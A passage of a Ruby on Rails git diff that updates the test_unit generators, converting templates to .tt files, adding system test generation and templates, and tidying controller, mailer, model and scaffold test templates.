+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
   module Generators # :nodoc:
     class ControllerGenerator < Base # :nodoc:
       argument :actions, type: :array, default: [], banner: "action action"
+      class_option :skip_routes, type: :boolean
+
       check_class_collision suffix: "ControllerTest"
 
       def create_test_files
diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
deleted file mode 100644
index ff41fef9e9fe1..0000000000000
--- a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>ControllerTest < ActionDispatch::IntegrationTest
-<% if mountable_engine? -%>
-  include Engine.routes.url_helpers
-
-<% end -%>
-<% if actions.empty? -%>
-  # test "the truth" do
-  #   assert true
-  # end
-<% else -%>
-<% actions.each do |action| -%>
-  test "should get <%= action %>" do
-    get <%= url_helper_prefix %>_<%= action %>_url
-    assert_response :success
-  end
-
-<% end -%>
-<% end -%>
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb.tt b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb.tt
new file mode 100644
index 0000000000000..55ba9ae713078
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb.tt
@@ -0,0 +1,23 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= class_name %>ControllerTest < ActionDispatch::IntegrationTest
+<% if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+<% end -%>
+<% if actions.empty? || options[:skip_routes] -%>
+  # test "the truth" do
+  #   assert true
+  # end
+<% else -%>
+<% actions.each do |action| -%>
+  test "should get <%= action %>" do
+    get <%= url_helper_prefix %>_<%= action %>_url
+    assert_response :success
+  end
+<%= "\n" unless action == actions.last -%>
+<% end -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
index 6b6e09445325e..ae7e28580edef 100644
--- a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
+++ b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
@@ -13,7 +15,6 @@ def create_generator_files
       end
 
     private
-
       def generator_path
         if options[:namespace]
           File.join("generators", regular_class_path, file_name, "#{file_name}_generator")
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
deleted file mode 100644
index a7f1fc4fba5c2..0000000000000
--- a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'test_helper'
-require '<%= generator_path %>'
-
-<% module_namespacing do -%>
-class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
-  tests <%= class_name %>Generator
-  destination Rails.root.join('tmp/generators')
-  setup :prepare_destination
-
-  # test "generator runs without errors" do
-  #   assert_nothing_raised do
-  #     run_generator ["arguments"]
-  #   end
-  # end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb.tt b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb.tt
new file mode 100644
index 0000000000000..2dc0f76a43e35
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb.tt
@@ -0,0 +1,16 @@
+require "test_helper"
+require "<%= generator_path %>"
+
+<% module_namespacing do -%>
+class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
+  tests <%= class_name %>Generator
+  destination Rails.root.join("tmp/generators")
+  setup :prepare_destination
+
+  # test "generator runs without errors" do
+  #   assert_nothing_raised do
+  #     run_generator ["arguments"]
+  #   end
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
index 6674a15fa3b4b..77308dcf7deaa 100644
--- a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
+++ b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
diff --git a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
index 9d065c129753e..86fea3f67799d 100644
--- a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
+++ b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
@@ -8,6 +10,11 @@ class IntegrationGenerator < Base # :nodoc:
       def create_test_files
         template "integration_test.rb", File.join("test/integration", class_path, "#{file_name}_test.rb")
       end
+
+      private
+        def file_name
+          @_file_name ||= super.sub(/_test\z/i, "")
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
deleted file mode 100644
index dea7e22196c59..0000000000000
--- a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActionDispatch::IntegrationTest
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb.tt b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb.tt
new file mode 100644
index 0000000000000..e2ab393841563
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb.tt
@@ -0,0 +1,9 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/job/job_generator.rb b/railties/lib/rails/generators/test_unit/job/job_generator.rb
index 6975252b99228..1dae3cb6a5d41 100644
--- a/railties/lib/rails/generators/test_unit/job/job_generator.rb
+++ b/railties/lib/rails/generators/test_unit/job/job_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
@@ -6,8 +8,13 @@ class JobGenerator < Base # :nodoc:
       check_class_collision suffix: "JobTest"
 
       def create_test_file
-        template "unit_test.rb.erb", File.join("test/jobs", class_path, "#{file_name}_job_test.rb")
+        template "unit_test.rb", File.join("test/jobs", class_path, "#{file_name}_job_test.rb")
       end
+
+      private
+        def file_name
+          @_file_name ||= super.sub(/_job\z/i, "")
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
deleted file mode 100644
index f5351d0ec637a..0000000000000
--- a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>JobTest < ActiveJob::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.tt b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.tt
new file mode 100644
index 0000000000000..96d30b350b370
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.tt
@@ -0,0 +1,9 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= class_name %>JobTest < ActiveJob::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 67bff8e4f9c36..ab8331f31c138 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
@@ -19,7 +21,7 @@ def create_preview_files
 
       private
         def file_name
-          @_file_name ||= super.gsub(/_mailer/i, "")
+          @_file_name ||= super.sub(/_mailer\z/i, "")
         end
     end
   end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
deleted file mode 100644
index a2f2d30de523b..0000000000000
--- a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>MailerTest < ActionMailer::TestCase
-<% actions.each do |action| -%>
-  test "<%= action %>" do
-    mail = <%= class_name %>Mailer.<%= action %>
-    assert_equal <%= action.to_s.humanize.inspect %>, mail.subject
-    assert_equal ["to@example.org"], mail.to
-    assert_equal ["from@example.com"], mail.from
-    assert_match "Hi", mail.body.encoded
-  end
-
-<% end -%>
-<% if actions.blank? -%>
-  # test "the truth" do
-  #   assert true
-  # end
-<% end -%>
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb.tt b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb.tt
new file mode 100644
index 0000000000000..22a297b3cb171
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb.tt
@@ -0,0 +1,23 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= class_name %>MailerTest < ActionMailer::TestCase
+<% actions.each_with_index do |action, index| -%>
+<% if index != 0 -%>
+
+<% end -%>
+  test "<%= action %>" do
+    mail = <%= class_name %>Mailer.<%= action %>
+    assert_equal <%= action.to_s.humanize.inspect %>, mail.subject
+    assert_equal [ "to@example.org" ], mail.to
+    assert_equal [ "from@example.com" ], mail.from
+    assert_match "Hi", mail.body.encoded
+  end
+<% end -%>
+<% if actions.blank? -%>
+  # test "the truth" do
+  #   assert true
+  # end
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
deleted file mode 100644
index b063cbc47b3e9..0000000000000
--- a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-<% module_namespacing do -%>
-# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>_mailer
-class <%= class_name %>MailerPreview < ActionMailer::Preview
-<% actions.each do |action| -%>
-
-  # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>_mailer/<%= action %>
-  def <%= action %>
-    <%= class_name %>Mailer.<%= action %>
-  end
-<% end -%>
-
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb.tt b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb.tt
new file mode 100644
index 0000000000000..416c16d5c255e
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb.tt
@@ -0,0 +1,14 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>_mailer
+class <%= class_name %>MailerPreview < ActionMailer::Preview
+<% actions.each_with_index do |action, index| -%>
+<% if index != 0 -%>
+
+<% end -%>
+  # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>_mailer/<%= action %>
+  def <%= action %>
+    <%= class_name %>Mailer.<%= action %>
+  end
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/rails/generators/test_unit/model/model_generator.rb
index 99495d5247fe5..02d7502592329 100644
--- a/railties/lib/rails/generators/test_unit/model/model_generator.rb
+++ b/railties/lib/rails/generators/test_unit/model/model_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 
 module TestUnit # :nodoc:
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
deleted file mode 100644
index 0681780c975c4..0000000000000
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
-<% unless attributes.empty? -%>
-<% %w(one two).each do |name| %>
-<%= name %>:
-<% attributes.each do |attribute| -%>
-  <%- if attribute.password_digest? -%>
-  password_digest: <%%= BCrypt::Password.create('secret') %>
-  <%- elsif attribute.reference? -%>
-  <%= yaml_key_value(attribute.column_name.sub(/_id$/, ''), attribute.default || name) %>
-  <%- else -%>
-  <%= yaml_key_value(attribute.column_name, attribute.default) %>
-  <%- end -%>
-  <%- if attribute.polymorphic? -%>
-  <%= yaml_key_value("#{attribute.name}_type", attribute.human_name) %>
-  <%- end -%>
-<% end -%>
-<% end -%>
-<% else -%>
-
-# This model initially had no columns defined. If you add columns to the
-# model remove the '{}' from the fixture names and add the columns immediately
-# below each fixture, per the syntax in the comments below
-#
-one: {}
-# column: value
-#
-two: {}
-# column: value
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml.tt b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml.tt
new file mode 100644
index 0000000000000..552e9b6c4ad62
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml.tt
@@ -0,0 +1,29 @@
+# Read about fixtures at https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+<% unless attributes.empty? -%>
+<% %w(one two).each do |name| %>
+<%= name %>:
+<% attributes.each do |attribute| -%>
+  <%- if attribute.password_digest? -%>
+  password_digest: <%= BCrypt::Password.create("secret") %>  # Generated with BCrypt::Password.create("secret")
+  <%- elsif attribute.reference? -%>
+  <%= yaml_key_value(attribute.column_name.delete_suffix("_id"), attribute.default || name) %>
+  <%- elsif !attribute.virtual? -%>
+  <%= yaml_key_value(attribute.column_name, attribute.default) %>
+  <%- end -%>
+  <%- if attribute.polymorphic? -%>
+  <%= yaml_key_value("#{attribute.name}_type", attribute.human_name) %>
+  <%- end -%>
+<% end -%>
+<% end -%>
+<% else -%>
+
+# This model initially had no columns defined. If you add columns to the
+# model remove the "{}" from the fixture names and add the columns immediately
+# below each fixture, per the syntax in the comments below
+#
+one: {}
+# column: value
+#
+two: {}
+# column: value
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
deleted file mode 100644
index c9bc7d5b90c1e..0000000000000
--- a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>Test < ActiveSupport::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb.tt b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb.tt
new file mode 100644
index 0000000000000..7d3ce602c3304
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb.tt
@@ -0,0 +1,9 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb b/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
deleted file mode 100644
index f1c9b6da5b0a1..0000000000000
--- a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "rails/generators/test_unit"
-
-module TestUnit # :nodoc:
-  module Generators # :nodoc:
-    class PluginGenerator < Base # :nodoc:
-      check_class_collision suffix: "Test"
-
-      def create_test_files
-        directory ".", "test"
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt b/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
deleted file mode 100644
index 0cbae1120e02e..0000000000000
--- a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActiveSupport::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
deleted file mode 100644
index 30a861f09dc5c..0000000000000
--- a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_support/testing/autorun'
-require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
index 292db35121040..a829f3716b0a3 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/test_unit"
 require "rails/generators/resource_helpers"
 
@@ -9,7 +11,10 @@ class ScaffoldGenerator < Base # :nodoc:
       check_class_collision suffix: "ControllerTest"
 
       class_option :api, type: :boolean,
-                         desc: "Generates API functional tests"
+                         desc: "Generate API functional tests"
+
+      class_option :system_tests, type: :string,
+                         desc: "Generate system test files (set to 'true' to enable)"
 
       argument :attributes, type: :array, default: [], banner: "field:type field:type"
 
@@ -17,6 +22,16 @@ def create_test_files
         template_file = options.api? ? "api_functional_test.rb" : "functional_test.rb"
         template template_file,
                  File.join("test/controllers", controller_class_path, "#{controller_file_name}_controller_test.rb")
+
+        # Generate system tests if this isn't an API only app and the system
+        # tests option is true
+        if !options.api? && options[:system_tests] == "true"
+          if !File.exist?(File.join("test/application_system_test_case.rb"))
+            template "application_system_test_case.rb", File.join("test", "application_system_test_case.rb")
+          end
+
+          template "system_test.rb", File.join("test/system", class_path, "#{file_name.pluralize}_test.rb")
+        end
       end
 
       def fixture_name
@@ -29,17 +44,44 @@ def fixture_name
       end
 
       private
+        def attributes_string
+          if attributes_hash.empty?
+            "{}"
+          else
+            "{ #{attributes_hash.map { |k, v| "#{k}: #{v}" }.join(", ")} }"
+          end
+        end
 
         def attributes_hash
-          return if attributes_names.empty?
+          return {} if attributes_names.empty?
 
-          attributes_names.map do |name|
+          attributes_names.filter_map do |name|
             if %w(password password_confirmation).include?(name) && attributes.any?(&:password_digest?)
-              "#{name}: 'secret'"
-            else
-              "#{name}: @#{singular_table_name}.#{name}"
+              ["#{name}", '"secret"']
+            elsif !virtual?(name)
+              ["#{name}", "@#{singular_table_name}.#{name}"]
             end
-          end.sort.join(", ")
+          end.sort.to_h
+        end
+
+        def boolean?(name)
+          attribute = attributes.find { |attr| attr.name == name }
+          attribute&.type == :boolean
+        end
+
+        def virtual?(name)
+          attribute = attributes.find { |attr| attr.name == name }
+          attribute&.virtual?
+        end
+
+        def datetime?(name)
+          attribute = attributes.find { |attr| attr.name == name }
+          attribute&.type == :datetime
+        end
+
+        def time?(name)
+          attribute = attributes.find { |attr| attr.name == name }
+          attribute&.type == :time
         end
     end
   end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb
deleted file mode 100644
index c469c188e6879..0000000000000
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
-  <%- if mountable_engine? -%>
-  include Engine.routes.url_helpers
-
-  <%- end -%>
-  setup do
-    @<%= singular_table_name %> = <%= fixture_name %>(:one)
-  end
-
-  test "should get index" do
-    get <%= index_helper %>_url, as: :json
-    assert_response :success
-  end
-
-  test "should create <%= singular_table_name %>" do
-    assert_difference('<%= class_name %>.count') do
-      post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> }, as: :json
-    end
-
-    assert_response 201
-  end
-
-  test "should show <%= singular_table_name %>" do
-    get <%= show_helper %>, as: :json
-    assert_response :success
-  end
-
-  test "should update <%= singular_table_name %>" do
-    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> }, as: :json
-    assert_response 200
-  end
-
-  test "should destroy <%= singular_table_name %>" do
-    assert_difference('<%= class_name %>.count', -1) do
-      delete <%= show_helper %>, as: :json
-    end
-
-    assert_response 204
-  end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb.tt b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb.tt
new file mode 100644
index 0000000000000..a99c89962e452
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb.tt
@@ -0,0 +1,44 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
+  <%- if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+  <%- end -%>
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "should get index" do
+    get <%= index_helper %>_url, as: :json
+    assert_response :success
+  end
+
+  test "should create <%= singular_table_name %>" do
+    assert_difference("<%= class_name %>.count") do
+      post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: #{attributes_string}" %> }, as: :json
+    end
+
+    assert_response :created
+  end
+
+  test "should show <%= singular_table_name %>" do
+    get <%= show_helper %>, as: :json
+    assert_response :success
+  end
+
+  test "should update <%= singular_table_name %>" do
+    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: #{attributes_string}" %> }, as: :json
+    assert_response :success
+  end
+
+  test "should destroy <%= singular_table_name %>" do
+    assert_difference("<%= class_name %>.count", -1) do
+      delete <%= show_helper %>, as: :json
+    end
+
+    assert_response :no_content
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/application_system_test_case.rb.tt b/railties/lib/rails/generators/test_unit/scaffold/templates/application_system_test_case.rb.tt
new file mode 100644
index 0000000000000..cee29fd2143ea
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/application_system_test_case.rb.tt
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
deleted file mode 100644
index c33375b7b4fdd..0000000000000
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
-  <%- if mountable_engine? -%>
-  include Engine.routes.url_helpers
-
-  <%- end -%>
-  setup do
-    @<%= singular_table_name %> = <%= fixture_name %>(:one)
-  end
-
-  test "should get index" do
-    get <%= index_helper %>_url
-    assert_response :success
-  end
-
-  test "should get new" do
-    get <%= new_helper %>
-    assert_response :success
-  end
-
-  test "should create <%= singular_table_name %>" do
-    assert_difference('<%= class_name %>.count') do
-      post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> }
-    end
-
-    assert_redirected_to <%= singular_table_name %>_url(<%= class_name %>.last)
-  end
-
-  test "should show <%= singular_table_name %>" do
-    get <%= show_helper %>
-    assert_response :success
-  end
-
-  test "should get edit" do
-    get <%= edit_helper %>
-    assert_response :success
-  end
-
-  test "should update <%= singular_table_name %>" do
-    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> }
-    assert_redirected_to <%= singular_table_name %>_url(<%= "@#{singular_table_name}" %>)
-  end
-
-  test "should destroy <%= singular_table_name %>" do
-    assert_difference('<%= class_name %>.count', -1) do
-      delete <%= show_helper %>
-    end
-
-    assert_redirected_to <%= index_helper %>_url
-  end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb.tt b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb.tt
new file mode 100644
index 0000000000000..fcb27e0f946eb
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb.tt
@@ -0,0 +1,54 @@
+require "test_helper"
+
+<% module_namespacing do -%>
+class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest
+  <%- if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+  <%- end -%>
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "should get index" do
+    get <%= index_helper(type: :url) %>
+    assert_response :success
+  end
+
+  test "should get new" do
+    get <%= new_helper %>
+    assert_response :success
+  end
+
+  test "should create <%= singular_table_name %>" do
+    assert_difference("<%= class_name %>.count") do
+      post <%= index_helper(type: :url) %>, params: { <%= "#{singular_table_name}: #{attributes_string}" %> }
+    end
+
+    assert_redirected_to <%= show_helper("#{class_name}.last") %>
+  end
+
+  test "should show <%= singular_table_name %>" do
+    get <%= show_helper %>
+    assert_response :success
+  end
+
+  test "should get edit" do
+    get <%= edit_helper %>
+    assert_response :success
+  end
+
+  test "should update <%= singular_table_name %>" do
+    patch <%= show_helper %>, params: { <%= "#{singular_table_name}: #{attributes_string}" %> }
+    assert_redirected_to <%= show_helper %>
+  end
+
+  test "should destroy <%= singular_table_name %>" do
+    assert_difference("<%= class_name %>.count", -1) do
+      delete <%= show_helper %>
+    end
+
+    assert_redirected_to <%= index_helper(type: :url) %>
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb.tt b/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb.tt
new file mode 100644
index 0000000000000..d42e688180f36
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/system_test.rb.tt
@@ -0,0 +1,57 @@
+require "application_system_test_case"
+
+<% module_namespacing do -%>
+class <%= class_name.pluralize %>Test < ApplicationSystemTestCase
+  setup do
+    @<%= singular_table_name %> = <%= fixture_name %>(:one)
+  end
+
+  test "visiting the index" do
+    visit <%= plural_table_name %>_url
+    assert_selector "h1", text: "<%= human_name.pluralize %>"
+  end
+
+  test "should create <%= human_name.downcase %>" do
+    visit <%= plural_table_name %>_url
+    click_on "New <%= human_name.downcase %>"
+
+    <%- attributes_hash.each do |attr, value| -%>
+    <%- if boolean?(attr) -%>
+    check "<%= attr.humanize %>" if <%= value %>
+    <%- else -%>
+    fill_in "<%= attr.humanize %>", with: <%= value %>
+    <%- end -%>
+    <%- end -%>
+    click_on "Create <%= human_name %>"
+
+    assert_text "<%= human_name %> was successfully created"
+    click_on "Back"
+  end
+
+  test "should update <%= human_name %>" do
+    visit <%= singular_table_name %>_url(@<%= singular_table_name %>)
+    click_on "Edit this <%= human_name.downcase %>", match: :first
+
+    <%- attributes_hash.each do |attr, value| -%>
+    <%- if boolean?(attr) -%>
+    check "<%= attr.humanize %>" if <%= value %>
+    <%- elsif datetime?(attr) || time?(attr) -%>
+    fill_in "<%= attr.humanize %>", with: <%= value %>.to_s
+    <%- else -%>
+    fill_in "<%= attr.humanize %>", with: <%= value %>
+    <%- end -%>
+    <%- end -%>
+    click_on "Update <%= human_name %>"
+
+    assert_text "<%= human_name %> was successfully updated"
+    click_on "Back"
+  end
+
+  test "should destroy <%= human_name %>" do
+    visit <%= singular_table_name %>_url(@<%= singular_table_name %>)
+    click_on "Destroy this <%= human_name.downcase %>", match: :first
+
+    assert_text "<%= human_name %> was successfully destroyed"
+  end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/system/system_generator.rb b/railties/lib/rails/generators/test_unit/system/system_generator.rb
new file mode 100644
index 0000000000000..adecf74b709ac
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/system_generator.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "rails/generators/test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class SystemGenerator < Base # :nodoc:
+      check_class_collision suffix: "Test"
+
+      def create_test_files
+        if !File.exist?(File.join("test/application_system_test_case.rb"))
+          template "application_system_test_case.rb", File.join("test", "application_system_test_case.rb")
+        end
+
+        template "system_test.rb", File.join("test/system", class_path, "#{file_name.pluralize}_test.rb")
+      end
+
+      private
+        def file_name
+          @_file_name ||= super.sub(/_test\z/i, "")
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb.tt b/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb.tt
new file mode 100644
index 0000000000000..cee29fd2143ea
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/templates/application_system_test_case.rb.tt
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+end
diff --git a/railties/lib/rails/generators/test_unit/system/templates/system_test.rb.tt b/railties/lib/rails/generators/test_unit/system/templates/system_test.rb.tt
new file mode 100644
index 0000000000000..b5ce2ba5c846a
